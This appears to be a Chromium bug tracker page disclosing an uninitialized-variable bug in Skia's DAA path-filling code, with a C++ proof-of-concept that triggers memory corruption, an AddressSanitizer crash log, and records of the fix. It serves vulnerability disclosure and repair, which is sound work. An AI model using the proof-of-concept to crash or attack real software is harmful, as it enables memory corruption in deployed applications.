Security: Skia: Uninitialized variable in gen_alpha_deltas |
|||||||||
Issue descriptionIn Skia, in gen_alpha_deltas, which is used when filling paths using the Delta-based Anti-Aliasing (DAA) algorithm, on this line: https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_DAAPath.cpp?q=daapath&dr&l=185&rcl=575c21bf74767d89b54fefb4a6697cb295d4eb95 and the following line, SkAnalyticEdge::setLine is called, but the return value isn't checked. In the case when the y coordinates of the line points are very close it's possible that SkAnalyticEdge::setLine is going to return early, leaving some member variables uninitialized. This can later result in memory corruption. Fortunately, the code in gen_alpha_deltas where the bug occurs is only reachable if the path is convex and in the default Skia configuration DAA algorithm won't be used for convex paths as seen in https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_AntiPath.cpp?dr&g=0&l=618&rcl=9438790b66fd2193a47971f66c44f7cec80a795a unless overridden with gSkForceDeltaAA or unless daaRecord is set here https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_AntiPath.cpp?dr&g=0&l=802&rcl=9438790b66fd2193a47971f66c44f7cec80a795a which only happens when SkThreadedBMPDevice is used (I'm not sure if any application uses it currently). This is the reason I'm not applying the usual Project Zero disclosure policy to this bug. However, as soon as some configuration change happens that would allow DAA to be used on convex paths, this bug will surface. PoC: Note: For some reason the PoC only works with SK_RASTERIZE_EVEN_ROUNDING defined in SkUserConfig.h. I didn't investigate why that happens. ================================================================= #include "SkCanvas.h" #include "SkPath.h" #include "SkBitmap.h" extern std::atomic<bool> gSkUseDeltaAA; extern std::atomic<bool> gSkForceDeltaAA; int main(int argc, char **argv) { int width = 8191; int height = 8191; SkBitmap bitmap; bitmap.allocN32Pixels(width, height); SkCanvas bitmapcanvas(bitmap); SkCanvas *canvas = &bitmapcanvas; SkPaint p; p.setAntiAlias(true); p.setStyle(SkPaint::kFill_Style); gSkForceDeltaAA = true; gSkUseDeltaAA = true; SkPath path1, path2; path1.moveTo(10, 0); path1.lineTo(20, 0); path1.lineTo(20, 10); path1.lineTo(15, 20); path1.lineTo(10, 10); canvas->drawPath(path1, p); path2.moveTo(8010, 0); path2.lineTo(8020, 0); path2.lineTo(8020, 10); path2.lineTo(8015, 20); path2.lineTo(8010, 10); path2.lineTo(8010, 0.005); canvas->drawPath(path2, p); return 0; } ================================================================= ASan log: ================================================================= ==134143==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffe46603040 at pc 0x00000082449c bp 0x7ffe46603030 sp 0x7ffe466027e0 WRITE of size 8000 at 0x7ffe46603040 thread T0 #0 0x82449b in __asan_memset (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x82449b) #1 0x183d475 in SkCoverageDeltaMask::convertCoverageToAlpha(bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCoverageDelta.cpp:100:17 #2 0x1945ce7 in SkScan::DAAFillPath(SkPath const&, SkBlitter*, SkIRect const&, SkIRect const&, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_DAAPath.cpp:365:23 #3 0xdf9c0d in SkScan::AntiFillPath(SkPath const&, SkRegion const&, SkBlitter*, bool, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:803:9 #4 0xdfa917 in SkScan::AntiFillPath(SkPath const&, SkRasterClip const&, SkBlitter*, SkDAARecord*) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:846:9 #5 0xc62338 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1024:9 #6 0xc6372e in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*, SkInitOnceData*) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.cpp:1141:11 #7 0x17e456a in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkDraw.h:58:15 #8 0x17e456a in SkBitmapDevice::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:411 #9 0xc0bfcd in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2149:23 #10 0xc021d7 in SkCanvas::drawPath(SkPath const&, SkPaint const&) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCanvas.cpp:1708:11 #11 0x8737dd in main /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../example/SkiaSDLExample.cpp:38:11 #12 0x7fd5d19322b0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202b0) #13 0x783bf9 in _start (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x783bf9) Address 0x7ffe46603040 is located in stack of thread T0 at offset 0 in frame #0 0x183cdff in SkCoverageDeltaMask::convertCoverageToAlpha(bool, bool, bool) /usr/local/google/home/ifratric/p0/skia/skia/out/asan/../../src/core/SkCoverageDelta.cpp:86 This frame has 3 object(s): [32, 64) 'c' <== Memory access at offset 0 partially underflows this variable [96, 128) 'cn' <== Memory access at offset 0 partially underflows this variable [160, 192) 'an' <== Memory access at offset 0 partially underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-underflow (/usr/local/google/home/ifratric/p0/skia/skia/out/asan/SkiaSDLExample+0x82449b) in __asan_memset Shadow bytes around the buggy address: 0x100048cb85b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100048cb85c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100048cb85d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100048cb85e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100048cb85f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100048cb8600: 00 00 00 00 00 00 00 00[f1]f1 f1 f1 00 00 00 00 0x100048cb8610: f2 f2 f2 f2 00 00 00 00 f2 f2 f2 f2 00 00 00 00 0x100048cb8620: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 0x100048cb8630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100048cb8640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x100048cb8650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==134143==ABORTING
,
May 30 2018
liyuqian: PTAL?
,
May 30 2018
Thanks for reporting! I'll take a look and fix it by this week.
,
May 31 2018
,
Jun 1 2018
The following revision refers to this bug: https://skia.googlesource.com/skia/+/9ea47bedb945fe51c7805b4f2defccccb8249865 commit 9ea47bedb945fe51c7805b4f2defccccb8249865 Author: Yuqian Li <liyuqian@google.com> Date: Fri Jun 01 12:16:15 2018 Skip bad line segments inside gen_alpha_deltas Bug: chromium:847386 Change-Id: I5bb3268c27ecfbd66268adbc36be3ea72e0a69ba Reviewed-on: https://skia-review.googlesource.com/131324 Reviewed-by: Cary Clark <caryclark@google.com> Commit-Queue: Cary Clark <caryclark@google.com> Auto-Submit: Yuqian Li <liyuqian@google.com> [modify] https://crrev.com/9ea47bedb945fe51c7805b4f2defccccb8249865/src/core/SkScan_DAAPath.cpp
,
Jun 1 2018
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/3bf9a40da12140167aadfad102af4cad078cbd40 commit 3bf9a40da12140167aadfad102af4cad078cbd40 Author: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Date: Fri Jun 01 14:33:28 2018 Roll src/third_party/skia 0c9d280..22f673d (3 commits) https://skia.googlesource.com/skia.git/+log/0c9d280..22f673d git log 0c9d280..22f673d --date=short --no-merges --format='%ad %ae %s' 2018-06-01 scroggo@google.com Move SkColorTable to src/codec 2018-06-01 liyuqian@google.com Skip bad line segments inside gen_alpha_deltas 2018-06-01 borenet@google.com Revert "[recipes] Isolate build outputs with no subdirs" Created with: gclient setdep -r src/third_party/skia@22f673d The AutoRoll server is located here: https://autoroll.skia.org Documentation for the AutoRoller is here: https://skia.googlesource.com/buildbot/+/master/autoroll/README.md If the roll is causing failures, please contact the current sheriff, who should be CC'd on the roll, and stop the roller if necessary. CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel BUG= chromium:847386 TBR=rmistry@chromium.org Change-Id: Ie777ca8af95aa23eb755818e083d0fc13683f92d Reviewed-on: https://chromium-review.googlesource.com/1082242 Reviewed-by: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Commit-Queue: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Cr-Commit-Position: refs/heads/master@{#563623} [modify] https://crrev.com/3bf9a40da12140167aadfad102af4cad078cbd40/DEPS
,
Jun 1 2018
I presume this impacts stable. liyuqian: Can you please confirm? Thanks.
,
Jun 1 2018
The following revision refers to this bug: https://skia.googlesource.com/skia/+/d2ae8dcce3a945567df408507a488fd29a539e3c commit d2ae8dcce3a945567df408507a488fd29a539e3c Author: Kevin Lubick <kjlubick@google.com> Date: Fri Jun 01 17:44:23 2018 Add option for fuzzer to toggle DAA Of note, this is a breaking change to the fuzzed format for any canvas fuzzers. I've updated the seed corpora to match but any repro cases predating this will need to have the a single byte added to the front of the test case: echo -n -e '\x00' | cat - file > outputfile Bug: 847386 Change-Id: I10b3b228e9c121340857fb8e7807464e54e9238a Reviewed-on: https://skia-review.googlesource.com/131522 Auto-Submit: Kevin Lubick <kjlubick@google.com> Reviewed-by: Yuqian Li <liyuqian@google.com> [modify] https://crrev.com/d2ae8dcce3a945567df408507a488fd29a539e3c/fuzz/FuzzCanvas.cpp
,
Jun 1 2018
meacer@:this bug shouldn't be exposed to any part of Chrome because DAA is disabled for convex paths unless it's a SkThreadedBMPDevice which is not used by any applications yet.
,
Jun 1 2018
liyuqian: Thanks for confirming! Can we consider it fixed?
,
Jun 1 2018
The following revision refers to this bug: https://chromium.googlesource.com/chromium/src.git/+/5bd2f82838f517c1637630d7d3146553a55350fe commit 5bd2f82838f517c1637630d7d3146553a55350fe Author: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Date: Fri Jun 01 19:34:59 2018 Roll src/third_party/skia 7abeb28..8683037 (4 commits) https://skia.googlesource.com/skia.git/+log/7abeb28..8683037 git log 7abeb28..8683037 --date=short --no-merges --format='%ad %ae %s' 2018-06-01 egdaniel@google.com Always keep buffers in vulkan persistently mapped. 2018-06-01 kjlubick@google.com Add option for fuzzer to toggle DAA 2018-06-01 kjlubick@google.com Avoid compilation error on older compilers 2018-06-01 brianosman@google.com Dest color space no longer impacts mipmaps or texture sampling Created with: gclient setdep -r src/third_party/skia@8683037 The AutoRoll server is located here: https://autoroll.skia.org Documentation for the AutoRoller is here: https://skia.googlesource.com/buildbot/+/master/autoroll/README.md If the roll is causing failures, please contact the current sheriff, who should be CC'd on the roll, and stop the roller if necessary. CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel BUG= chromium:847386 TBR=rmistry@chromium.org Change-Id: Iaf3bcc8a93dee19d136f2eed64c7c238c36a6a5e Reviewed-on: https://chromium-review.googlesource.com/1082915 Reviewed-by: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Commit-Queue: skia-chromium-autoroll <skia-chromium-autoroll@skia-buildbots.google.com.iam.gserviceaccount.com> Cr-Commit-Position: refs/heads/master@{#563755} [modify] https://crrev.com/5bd2f82838f517c1637630d7d3146553a55350fe/DEPS
,
Jun 1 2018
Yes. Changing status to fixed :D
,
Jun 2 2018
,
Jul 27
,
Sep 8
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||
►
Sign in to add a comment |
|||||||||
Comment 1 by elawrence@chromium.org
, May 29 2018Components: Internals>Skia